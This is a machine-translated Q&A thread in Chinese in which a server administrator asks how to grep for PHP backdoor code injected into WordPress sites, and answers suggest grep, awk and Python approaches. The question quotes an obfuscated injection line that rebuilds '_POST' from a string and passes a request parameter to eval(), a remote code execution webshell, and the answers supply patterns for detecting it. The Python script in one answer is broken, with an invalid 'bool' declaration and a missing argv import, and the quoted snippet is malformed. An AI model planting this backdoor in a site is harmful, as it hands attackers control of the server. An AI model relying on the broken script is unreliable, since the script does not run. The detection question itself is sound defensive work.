grep是一个很好的实用程序,但是当涉及到这个特定的任务时,我发现任何Linux命令都不方便。
在我的服务器中,许多黑客文件主要注入所有wordpress网站。 模式通常是这样的。
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}'q5dfb07'])) { eval(${$s20}['q5dfb07']); }
现在,我正在寻找可以在一行中找到以下字符串的linux命令。 isset,eval,[0],[1],[2],[3],这些字符串可以按任何顺序排列。
我认为,使用我们可以这样做,grep eval $ name | grep strto | grep isset
答案 0 :(得分:2)
您可以试试grep -P
:
grep -P '(?=.*?isset)(?=.*?eval)(?=.*?\[\d+\])' file.php
如果您没有grep
,则可以使用awk
:
awk '/isset/ && /eval/ && /\[[0-9]+\]/' file.php
答案 1 :(得分:0)
根据此处提供的信息: http://www.thegeekstuff.com/2011/10/grep-or-and-not-operators/
如果订单很重要,请使用以下命令:
grep -E 'pattern1.*pattern2' filename
如果订单无关紧要,您需要将其格式化为:
grep -E 'pattern1.*pattern2|pattern2.*pattern1' filename
你可以想象,这可能会非常难看。我认为最易读的是你的建议:
grep -E 'pattern1' filename | grep -E 'pattern2'
然而,一个简单的python程序可以帮助你:
#!/usr/bin/env python
keys = argv[1:-1]
with open(argv[-1], 'r') as fd:
for line in fd:
bool matched = True
for key in keys:
if key not in line:
matched = False
break
if matched:
print(line)
你可以这样运行:
python search.py pattern1 pattern2 pattern3 filename